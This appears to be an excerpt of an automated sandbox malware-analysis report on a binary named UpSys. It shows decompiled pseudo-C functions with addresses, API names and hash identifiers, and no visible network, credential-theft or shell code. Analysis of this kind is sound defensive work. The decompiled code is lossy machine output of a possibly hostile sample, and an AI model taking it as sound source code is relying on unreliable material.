				 *((long long*)(_t177 + 0x40)) =  *_t122;
				 *((long long*)(_t177 + 0x48)) =  *((intOrPtr*)(_t122 + 8));
				_t123 =  *((intOrPtr*)(_t122 + 0x18));
				 *_t123 =  *_t123 + r15d;
				 *((long long*)(_t177 + 0x50)) =  *((intOrPtr*)(_t122 + 0x10));
				 *((long long*)(_t177 + 0x58)) = _t123;
				if (E00000001140075460(__ecx, _t103, _t126, _t177 + 0x40, __r8, _t169, _t172 - 0x18) == 0) goto 0x4008796b;
				_t124 =  *_t172;
				 *(_t177 + 0x70) =  *(_t177 + 0x70) + _t124;
				E00000001140002610(_t76, _t126, _t177 + 0x40);
				_t173 = _t172 + 0x28;
				if (__r12 + _t209 -  *((intOrPtr*)(_t177 + 0x78)) < 0) goto 0x400878d1;
				E00000001140076030(_t94, __ecx, _t103, __r12 + _t209 -  *((intOrPtr*)(_t177 + 0x78)), _t126, _t169, _t177 + 0x60, __r8, _t169, _t173, __rdx);
				if (_t124 != 0) goto 0x4008799e;
				E00000001140007A40(_t126, __r8, _t169);
				 *__r8 =  *__r8 & r12d;
				__r8[2] = r15d;
				goto 0x40087a4e;
				E00000001140007A40(_t126, __r8, _t169);
				 *__r8 =  *__r8 & 0x00000000;
				__r8[2] = r15d;
				_t125 =  *_t169;
				r8d = 0;
				_t82 = E00000001140002610(E0000000114000FCA0(r15d,  *_t169, _t126,  *((intOrPtr*)( *_t169 + 4)) + _t169, _t169), _t126, _t177 + 0x40);
				goto 0x40087a4e;
				_t83 = E000000011400677B0(_t82, __ecx, r15d, _t103, _t126, _t177 + 0x60, __r8, _t169, __rdx,  *((intOrPtr*)(_t118 + 0x10)), __r10, _t195); // executed
				E00000001140016400(_t83, _t177 + 0x60, _t124, _t201 + 0x10, __rdx, _t209);
				E00000001140012B40(r15d, _t166, _t177 + 0x60, _t169,  *((intOrPtr*)(_t177 + 0x78)) + 1,  *((intOrPtr*)(_t118 + 0x10)));
				if ( *((intOrPtr*)(_t177 + 0x80)) != _t209) goto 0x400879f8;
				r9d = 0;
				r8d = r15d;
				E0000000114007EEA0(E00000001140011400(0, _t126, _t166, _t166, _t169,  *((intOrPtr*)(_t118 + 0x10))), _t95, 0, _t209 + 1, _t126, _t177 + 0x88, _t169,  *_t169, _t192);
				if ( *((intOrPtr*)(_t177 + 0x78)) - _t173 <= 0) goto 0x40087a35;
				_t174 = _t173 + 1;
				r8d = r15d;
				_t88 = E00000001140011400(0, _t126, _t166, _t166, _t169, _t174); // executed
				E0000000114007EEA0(_t88, _t95, 0, 0, _t126, _t177 + 0xb0, _t169,  *_t169, _t174); // executed
				if (_t174 -  *((intOrPtr*)(_t177 + 0x78)) < 0) goto 0x40087a09;
				if (E00000001140050340(_t174 -  *((intOrPtr*)(_t177 + 0x78)), _t125) == 0) goto 0x40087a4e;
				E00000001140002610(FreeLibrary(??), _t126, _t177 + 0x20);
				return 0;
			}

































                                                                                                                                                                                                        0x1400877e0
                                                                                                                                                                                                        0x1400877e0
                                                                                                                                                                                                        0x1400877e0
                                                                                                                                                                                                        0x1400877e0
                                                                                                                                                                                                        0x1400877e0
                                                                                                                                                                                                        0x1400877e0
                                                                                                                                                                                                        0x1400877e0
                                                                                                                                                                                                        0x1400877e3
                                                                                                                                                                                                        0x1400877e7
                                                                                                                                                                                                        0x1400877eb
                                                                                                                                                                                                        0x1400877ef
                                                                                                                                                                                                        0x1400877f9
                                                                                                                                                                                                        0x140087800
                                                                                                                                                                                                        0x140087804
                                                                                                                                                                                                        0x140087807
                                                                                                                                                                                                        0x140087811
                                                                                                                                                                                                        0x140087816
                                                                                                                                                                                                        0x140087823
                                                                                                                                                                                                        0x14008782c
                                                                                                                                                                                                        0x140087831
                                                                                                                                                                                                        0x140087835
                                                                                                                                                                                                        0x140087839
                                                                                                                                                                                                        0x140087840
                                                                                                                                                                                                        0x140087845
                                                                                                                                                                                                        0x140087849
                                                                                                                                                                                                        0x140087851
                                                                                                                                                                                                        0x140087856
                                                                                                                                                                                                        0x140087862
                                                                                                                                                                                                        0x140087867
                                                                                                                                                                                                        0x14008786f
                                                                                                                                                                                                        0x140087872
                                                                                                                                                                                                        0x140087876
                                                                                                                                                                                                        0x14008787d
                                                                                                                                                                                                        0x140087883
                                                                                                                                                                                                        0x140087888
                                                                                                                                                                                                        0x14008789a
                                                                                                                                                                                                        0x1400878a6
                                                                                                                                                                                                        0x1400878ab
                                                                                                                                                                                                        0x1400878b2
                                                                                                                                                                                                        0x1400878b4
                                                                                                                                                                                                        0x1400878ba
                                                                                                                                                                                                        0x1400878c2
                                                                                                                                                                                                        0x1400878c4
                                                                                                                                                                                                        0x1400878c4
                                                                                                                                                                                                        0x1400878c9
                                                                                                                                                                                                        0x1400878d1
                                                                                                                                                                                                        0x1400878da
                                                                                                                                                                                                        0x1400878eb
                                                                                                                                                                                                        0x1400878f4
                                                                                                                                                                                                        0x1400878fd
                                                                                                                                                                                                        0x140087901
                                                                                                                                                                                                        0x140087904
                                                                                                                                                                                                        0x14008790c
                                                                                                                                                                                                        0x140087918
                                                                                                                                                                                                        0x14008791a
                                                                                                                                                                                                        0x140087927
                                                                                                                                                                                                        0x14008792c
                                                                                                                                                                                                        0x140087934
                                                                                                                                                                                                        0x14008793d
                                                                                                                                                                                                        0x14008794a
                                                                                                                                                                                                        0x140087955
                                                                                                                                                                                                        0x14008795a
                                                                                                                                                                                                        0x14008795f
                                                                                                                                                                                                        0x140087962
                                                                                                                                                                                                        0x140087966
                                                                                                                                                                                                        0x14008796e
                                                                                                                                                                                                        0x140087973
                                                                                                                                                                                                        0x140087976
                                                                                                                                                                                                        0x14008797a
                                                                                                                                                                                                        0x14008797d
                                                                                                                                                                                                        0x140087994
                                                                                                                                                                                                        0x140087999
                                                                                                                                                                                                        0x1400879a9
                                                                                                                                                                                                        0x1400879b3
                                                                                                                                                                                                        0x1400879c6
                                                                                                                                                                                                        0x1400879d3
                                                                                                                                                                                                        0x1400879d5
                                                                                                                                                                                                        0x1400879d8
                                                                                                                                                                                                        0x1400879f3
                                                                                                                                                                                                        0x1400879ff
                                                                                                                                                                                                        0x140087a09
                                                                                                                                                                                                        0x140087a0c
                                                                                                                                                                                                        0x140087a17
                                                                                                                                                                                                        0x140087a25
                                                                                                                                                                                                        0x140087a33
                                                                                                                                                                                                        0x140087a43
                                                                                                                                                                                                        0x140087a53
                                                                                                                                                                                                        0x140087a7b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FreeLibrary
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3664257935-0
                                                                                                                                                                                                        • Opcode ID: db14f91b132eef343479297c60a086033f3c3a9acf32b75240fc368731a3fdf7
                                                                                                                                                                                                        • Instruction ID: 1ed0935e4ece92213633ec277186a3ccef090fe1b8746481715470ba228d5603
                                                                                                                                                                                                        • Opcode Fuzzy Hash: db14f91b132eef343479297c60a086033f3c3a9acf32b75240fc368731a3fdf7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 17715972614B8482EA15DB17E4907EEB7A4F789BC4F508406EF8D47B6ADF39C651CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140016400 Relevance: 1.6, APIs: 1, Instructions: 111processCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateProcessTokenWith
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1742259849-0
                                                                                                                                                                                                        • Opcode ID: 048ac07befcd929308ab0c36a801946155e7bae4014a0889a215a34181f61ec7
                                                                                                                                                                                                        • Instruction ID: e4caa140bd1437213075a91a02dcc672534bfebe72d68e35dc5fe9013299e827
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 048ac07befcd929308ab0c36a801946155e7bae4014a0889a215a34181f61ec7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3641F676710E14C6EB22CF6AD8587AD2769F309BC4F564406EB1E0B7A4DB32CC91D300
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400044A0 Relevance: 1.6, APIs: 1, Instructions: 109COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 58%
                                                                                                                                                                                                        			E000000011400044A0(void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __r12) {
				signed int _t38;
				intOrPtr _t39;
				signed long long _t56;
				long long _t57;
				signed long long _t61;
				signed long long _t62;
				long long _t65;
				long long _t72;
				void* _t74;
				long long _t75;
				intOrPtr* _t76;
				void* _t78;

				_t74 = __rcx;
				if (__rcx == __rdx) goto 0x40032b90;
				 *((long long*)(_t78 + 0x30)) = __rbx;
				 *((long long*)(_t78 + 0x48)) = __r12;
				if ( *((intOrPtr*)(__rcx + 0x10)) - __rbx > 0) goto 0x40032b98;
				 *((long long*)(__rcx + 0x10)) = 0;
				_t65 =  *((intOrPtr*)(__rdx + 0x10));
				if ( *((intOrPtr*)(__rcx + 0x18)) - _t65 >= 0) goto 0x40004517;
				if (_t65 - 4 < 0) goto 0x400045f0;
				 *((long long*)(__rcx + 0x18)) = _t65;
				_t56 =  <  ? 0xffffffff : __rax;
				E00000001140016ED8(_t56, _t56); // executed
				_t61 = _t56;
				0x40016a60();
				 *(_t74 + 8) = _t61;
				_t57 =  *((intOrPtr*)(__rdx + 0x10));
				 *((long long*)(_t74 + 0x10)) = _t57;
				if (_t57 == 0) goto 0x4000459b;
				 *((long long*)(_t78 + 0x38)) = _t75;
				 *((long long*)(_t78 + 0x40)) = __rdi;
				E00000001140016ED8(_t57,  *(_t74 + 8)); // executed
				if (_t57 == 0) goto 0x40032bdc;
				_t72 = _t57;
				_t76 =  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + _t61 * 8));
				_t38 =  *(_t76 + 8) & 0x0000ffff;
				 *(_t72 + 8) = _t38;
				 *((short*)(_t72 + 0xa)) =  *(_t76 + 0xa) & 0x0000ffff;
				if (_t38 - 0x3f <= 0) goto 0x400045ae;
				if (_t38 == 0x10) goto 0x40032bc4;
				if (_t38 == 0x20) goto 0x40032bd0;
				_t39 =  *_t76;
				 *_t72 = _t39;
				_t62 = _t61 + 1;
				 *((long long*)( *(_t74 + 8) + _t62 * 8 - 8)) = _t72;
				if (_t62 -  *((intOrPtr*)(_t74 + 0x10)) < 0) goto 0x40004531;
				return _t39;
			}















                                                                                                                                                                                                        0x1400044a6
                                                                                                                                                                                                        0x1400044ac
                                                                                                                                                                                                        0x1400044b2
                                                                                                                                                                                                        0x1400044b9
                                                                                                                                                                                                        0x1400044c5
                                                                                                                                                                                                        0x1400044cb
                                                                                                                                                                                                        0x1400044d3
                                                                                                                                                                                                        0x1400044dc
                                                                                                                                                                                                        0x1400044e2
                                                                                                                                                                                                        0x1400044e8
                                                                                                                                                                                                        0x1400044fb
                                                                                                                                                                                                        0x140004502
                                                                                                                                                                                                        0x14000450b
                                                                                                                                                                                                        0x14000450e
                                                                                                                                                                                                        0x140004513
                                                                                                                                                                                                        0x140004517
                                                                                                                                                                                                        0x14000451e
                                                                                                                                                                                                        0x140004525
                                                                                                                                                                                                        0x140004527
                                                                                                                                                                                                        0x14000452c
                                                                                                                                                                                                        0x140004536
                                                                                                                                                                                                        0x14000453e
                                                                                                                                                                                                        0x140004549
                                                                                                                                                                                                        0x14000454c
                                                                                                                                                                                                        0x140004550
                                                                                                                                                                                                        0x140004558
                                                                                                                                                                                                        0x140004560
                                                                                                                                                                                                        0x140004564
                                                                                                                                                                                                        0x14000456a
                                                                                                                                                                                                        0x140004574
                                                                                                                                                                                                        0x14000457a
                                                                                                                                                                                                        0x14000457d
                                                                                                                                                                                                        0x140004583
                                                                                                                                                                                                        0x140004586
                                                                                                                                                                                                        0x14000458f
                                                                                                                                                                                                        0x1400045ad

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionmallocstd::exception_ptr::_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1204381810-0
                                                                                                                                                                                                        • Opcode ID: c997163c7297c61400c8518cdd2f42049e4846fbf0c3d4cd6b563c6cc295fe55
                                                                                                                                                                                                        • Instruction ID: 0601a1799cb78447e7d93d9031fec32346ebc1313a511740ddcbd6d3141fb9a6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c997163c7297c61400c8518cdd2f42049e4846fbf0c3d4cd6b563c6cc295fe55
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 82414BB6205B4486EB66DF16F9803AA73A0F78CBC0F548525EB9E477A6CF38D491C304
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140014530 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 45%
                                                                                                                                                                                                        			E00000001140014530(signed int __edx, void* __edi, intOrPtr __esi, void* __eflags, long long __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r9, long long _a8, long long _a16, long long _a24) {
				void* _v8;
				char _v280;
				char _v424;
				void* __rdi;
				void* _t31;
				void* _t34;
				signed int _t42;
				void* _t46;
				long long _t50;
				long long _t66;
				void* _t67;
				intOrPtr* _t69;
				void* _t71;
				long long _t73;
				void* _t75;
				void* _t78;

				_t73 = __rbp;
				_t50 = __rax;
				_t46 = __eflags;
				_t43 = __edi;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t76 = _t75 - 0x1d0;
				_t69 = __rcx;
				_t71 = __rdx;
				_t42 = __edx | 0xffffffff;
				E00000001140014470(__esi, __rax, __rbx, 0x4009b6c0, __rcx, __rdx, __rbp);
				_t52 = _t50;
				E00000001140017E10(_t42,  &_v280, _t50);
				0x40016a60();
				E00000001140014620( &_v424, _t50);
				E000000011400146B0(_t34, _t42, _t46, _t50, _t50,  &_v424,  &_v280, __rdx, __r9);
				 *((intOrPtr*)(_t69 + 0xc)) = 0;
				_t66 = _t73;
				_t67 = _t66 + 4;
				if (_t67 - 0x10 < 0) goto 0x4001459d;
				 *((intOrPtr*)(_t69 + 0xc)) = 0 + ( *(_t75 - 0x1d0 + _t66 + 0x30) & 0x000000ff) + ( *(_t75 - 0x1d0 + _t67 + 0x2d) & 0x000000ff) + ( *(_t76 + _t67 + 0x2e) & 0x000000ff) + ( *(_t76 + _t67 + 0x2f) & 0x000000ff);
				E000000011400195FC(__edi, _t50, _t50, _t71, L"rb", _t71); // executed
				 *_t69 = _t50;
				if (_t50 == 0) goto 0x40033c60;
				_t31 = E00000001140014360(_t50, _t52, _t69, L"rb", _t78); // executed
				if (_t31 == 0) goto 0x40033c6a;
				E00000001140019694(_t43, _t50, _t52,  *_t69);
				return _t31;
			}



















                                                                                                                                                                                                        0x140014530
                                                                                                                                                                                                        0x140014530
                                                                                                                                                                                                        0x140014530
                                                                                                                                                                                                        0x140014530
                                                                                                                                                                                                        0x140014530
                                                                                                                                                                                                        0x140014535
                                                                                                                                                                                                        0x14001453a
                                                                                                                                                                                                        0x140014540
                                                                                                                                                                                                        0x140014547
                                                                                                                                                                                                        0x14001454a
                                                                                                                                                                                                        0x140014554
                                                                                                                                                                                                        0x140014557
                                                                                                                                                                                                        0x140014567
                                                                                                                                                                                                        0x14001456a
                                                                                                                                                                                                        0x140014572
                                                                                                                                                                                                        0x14001457c
                                                                                                                                                                                                        0x14001458e
                                                                                                                                                                                                        0x140014595
                                                                                                                                                                                                        0x140014598
                                                                                                                                                                                                        0x1400145a2
                                                                                                                                                                                                        0x1400145c1
                                                                                                                                                                                                        0x1400145c3
                                                                                                                                                                                                        0x1400145d0
                                                                                                                                                                                                        0x1400145d5
                                                                                                                                                                                                        0x1400145db
                                                                                                                                                                                                        0x1400145e4
                                                                                                                                                                                                        0x1400145eb
                                                                                                                                                                                                        0x1400145f6
                                                                                                                                                                                                        0x140014615

                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ByteCharMultiWide
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 626452242-0
                                                                                                                                                                                                        • Opcode ID: 530930ca50cac5df6587e088284e33dd5d6894e904392ec7917ff28560cc8a7b
                                                                                                                                                                                                        • Instruction ID: a44a2394ef7193b7d422748f598662a74fb0704b3a794a083e6c0fcc70a78536
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 530930ca50cac5df6587e088284e33dd5d6894e904392ec7917ff28560cc8a7b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0831C3B130468486EB16DF27E5503ED77A1E78CBC4F448526BB9997BAAEF39C5108B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400120D0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 52%
                                                                                                                                                                                                        			E000000011400120D0(long long __rbx, long long __rcx, long long __rdi, long long __r8, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v32;
				char _v40;
				long long _v48;
				char _v64;
				intOrPtr _v80;
				char _v88;
				void* _t24;
				intOrPtr _t26;
				void* _t37;
				void* _t39;
				intOrPtr _t43;
				long long _t44;
				long long _t46;
				intOrPtr _t53;
				long long _t62;
				void* _t63;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t68;
				void* _t69;

				_t65 = __r8;
				_t67 = _t64;
				_t43 =  *0x400c88a8; // 0x3263d10
				if ( *((char*)(_t43 + 0x31)) == 0) goto 0x4003b5a0;
				 *((long long*)(_t67 + 8)) = __rbx;
				 *0x400b54f8 = __rcx;
				 *((long long*)(_t67 - 8)) = __rdi;
				_v80 = 1;
				_v32 = 1;
				_v88 = 0;
				_v40 = 0;
				 *((long long*)(_t67 - 0x48)) = __rdi;
				 *((long long*)(_t67 - 0x18)) = __rdi;
				_t46 = __r8;
				 *0x400b54a4 = 0;
				 *0x400b54a0 = 0;
				E00000001140007A40(__r8, _t67 - 0x58, _t62);
				_t44 =  &_v40;
				_v80 = 6;
				_v64 = __rdi;
				_v48 = __rdi;
				 *0x400b54f0 = 0;
				_v88 = _t44;
				_t24 = E00000001140013BB0( &_v64); // executed
				if (_t24 == 0) goto 0x40012178;
				E00000001140013C30( &_v64); // executed
				_t26 =  *_t44(); // executed
				 *0x400b54f0 = _t26;
				E00000001140017364(_t44, __r8, E00000001140044330); // executed
				E000000011400173E8(1, _t44);
				_t53 =  *0x400c88b0; // 0x3263da0
				E00000001140015910(_t53);
				E000000011400121F0(_t37, _t39, _t44, _t46, _t46, _v8, _t63, _t65, _t66, _t67, _t68, _t69);
				E000000011400158F0();
				if (_v64 == 0) goto 0x400121cb;
				FreeLibrary(??);
				E00000001140007A40(_t46,  &_v40, _t62);
				E00000001140007A40(_t46,  &_v88, _t62);
				return  *0x400b54a4;
			}

























                                                                                                                                                                                                        0x1400120d0
                                                                                                                                                                                                        0x1400120d0
                                                                                                                                                                                                        0x1400120d7
                                                                                                                                                                                                        0x1400120e2
                                                                                                                                                                                                        0x1400120e8
                                                                                                                                                                                                        0x1400120ec
                                                                                                                                                                                                        0x1400120f3
                                                                                                                                                                                                        0x1400120f9
                                                                                                                                                                                                        0x140012101
                                                                                                                                                                                                        0x140012109
                                                                                                                                                                                                        0x14001210d
                                                                                                                                                                                                        0x140012115
                                                                                                                                                                                                        0x140012119
                                                                                                                                                                                                        0x14001211d
                                                                                                                                                                                                        0x140012120
                                                                                                                                                                                                        0x140012126
                                                                                                                                                                                                        0x14001212c
                                                                                                                                                                                                        0x140012131
                                                                                                                                                                                                        0x14001213b
                                                                                                                                                                                                        0x140012143
                                                                                                                                                                                                        0x140012148
                                                                                                                                                                                                        0x14001214d
                                                                                                                                                                                                        0x140012153
                                                                                                                                                                                                        0x140012158
                                                                                                                                                                                                        0x140012164
                                                                                                                                                                                                        0x14001216b
                                                                                                                                                                                                        0x140012170
                                                                                                                                                                                                        0x140012172
                                                                                                                                                                                                        0x14001217f
                                                                                                                                                                                                        0x140012189
                                                                                                                                                                                                        0x14001218e
                                                                                                                                                                                                        0x140012195
                                                                                                                                                                                                        0x1400121a4
                                                                                                                                                                                                        0x1400121b0
                                                                                                                                                                                                        0x1400121c3
                                                                                                                                                                                                        0x1400121c5
                                                                                                                                                                                                        0x1400121d0
                                                                                                                                                                                                        0x1400121da
                                                                                                                                                                                                        0x1400121ed

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FreeLibrary
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3664257935-0
                                                                                                                                                                                                        • Opcode ID: 0431fbfb696a5ed98e55f6f8896b85b8e7c52a4f3296c9ccbe9d9ee22b25e5ef
                                                                                                                                                                                                        • Instruction ID: c84cd93435f369f7a4a770a1c4b521bbe96fa09da5644c2465f1452d0059b149
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0431fbfb696a5ed98e55f6f8896b85b8e7c52a4f3296c9ccbe9d9ee22b25e5ef
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 34311872614A8086E712EF56E8803DAB7A4FBD8785F900016BB8E4B6B6CB79C544CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140013630 Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 100%
                                                                                                                                                                                                        			E00000001140013630(void* __ecx, void* __edx, long long __rbx, void* __rcx, long long __rdx, long long __rsi, long long _a8, long long _a16) {
				void* _t15;
				void* _t40;

				_a8 = __rbx;
				_a16 = __rsi;
				_t15 = r8d;
				if (__ecx == 0) goto 0x4001369e;
				if (_t15 == 1) goto 0x40031550;
				if (_t15 != 0) goto 0x4001369e;
				if (_t15 == 1) goto 0x40031550;
				_t40 =  *((intOrPtr*)(__rcx + 0x18)) -  *((intOrPtr*)(__rcx + 0x14));
				if (__rdx - _t40 < 0) goto 0x4001369e;
				if (__rdx -  *((intOrPtr*)(__rcx + 0x10)) + _t40 - 1 > 0) goto 0x4001369e;
				 *((long long*)(__rcx + 0x18)) = __rdx;
				 *((intOrPtr*)(__rcx + 0x14)) = __edx - r8d;
				return 1;
			}





                                                                                                                                                                                                        0x140013630
                                                                                                                                                                                                        0x140013635
                                                                                                                                                                                                        0x140013646
                                                                                                                                                                                                        0x14001364e
                                                                                                                                                                                                        0x140013653
